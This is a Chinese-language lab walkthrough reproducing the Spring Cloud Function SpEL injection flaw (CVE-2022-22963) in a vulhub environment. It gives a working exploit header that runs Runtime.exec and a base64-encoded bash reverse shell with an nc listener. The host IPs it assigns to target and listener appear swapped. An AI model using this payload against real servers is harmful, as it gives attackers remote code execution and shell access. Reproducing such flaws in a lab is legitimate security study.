一、漏洞介绍
漏洞名称:Spring Cloud Function SpEL 远程代码执行漏洞
危害等级:高危
漏洞概述:由于Spring CloudFunction中RoutingFunction类的apply方法将请求头中的”spring.cloud.function.routing-expression”参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,当使用路由功能时,攻击者可利用该漏洞远程执行任意代码。
二、搭建环境
1、使用vulhub,利用docker搭建
git clone https://github.com/vulhub/vulhub.git
cd vulhub/spring/CVE-2022-22963
docker-compose up -d
2、所需系统/软件环境
Centos7 vulhub靶场 ,主机名:Centos7-docker(20.29)
Centos7 (nc)反弹接收,主机名:Centos7-(20.32)
Windows攻击机, Burpsuite 软件
3、查看服务
http://172.16.20.32:8080/functionRouter
三、漏洞复现(简单利用)
1、POC介绍:
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("xxxx")
示例:
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
2、POC利用
对靶场进行抓包,并将包转换为post型,在转换后的包内添加poc,并发送:
3、利用成功
返回到vulhub靶场,进入容器查看: (已经成功创建)
四、漏洞利用 (高级利用 反弹shell)
1、在攻击机Centos7 上监听,命令 nc -lvnp 12345
2、反弹shell命令
要经过base64加密(不加密无法成功的),反弹shell命令:
sh -i >& /dev/tcp/172.16.20.29/12345 0>&1
进行base64加密
bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTcyLjE2LjIwLjI5LzEyMzQ1IDA+JjE=}|{base64,-d}|{bash,-i}
3、漏洞利用
加密后的命令加入数据包重发包:
POC:
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("xxxx")
示例:
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTcyLjE2LjIwLjI5LzEyMzQ1IDA+JjE=}|{base64,-d}|{bash,-i}")
3、结果
返回nc所在操作系统,反弹shell成功: